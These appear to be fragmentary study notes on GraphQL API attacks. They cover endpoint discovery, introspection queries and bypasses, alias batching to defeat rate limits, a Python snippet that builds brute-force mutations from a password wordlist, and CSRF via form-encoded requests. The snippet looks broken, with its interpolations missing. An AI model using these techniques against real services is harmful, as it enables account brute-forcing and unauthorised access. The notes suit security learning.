Finding GraphQL Endpoints
query{__typename}
/graphql
, /api
, /api/graphql
, /graphql/api
, graphql/graphql
v1
or v2
in the path start/endExploiting Unsanitized Arguments
query {products {id name listed}}
query {products(id: 3) {id name listed}}
Discovering Schema Information
There is no entry for 'productInfo'. Did you mean 'productInformation' instead?
query{__schema}
{"query": "{__schema{queryType{name}}}"}
Save GraphQL queries to site map
variables
parameter where input is specifiedBypassing Introspection Defenses
__schema{
keyword
__schema
(which are ignored by GraphQL)x-www-form-urlencoded
?query=query%7B__schema%7BqueryType%7Bname%7D%7D%7D
%0A
for a newlineBypassing Rate Limiting
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
[mutations_code_here]
with \n{mutations}\n
(Github markdown issue)import json
with open("wordlist.txt") as f:
passwords = [line.strip() for line in f]
mutations = "\n".join(
f'bruteforce{i}: [function](input: ) '
for i, pw in enumerate(passwords)
)
graphql_query = {
"query": f"mutation "
}
print(json.dumps(graphql_query, indent=2))
GraphQL CSRF
application/json
are secure as long as content type is validatedx-www-form-urlencoded
, since they can be sent by a browser
=
and &
)
{
, }
, and :
(along with other special chars) are URL encoded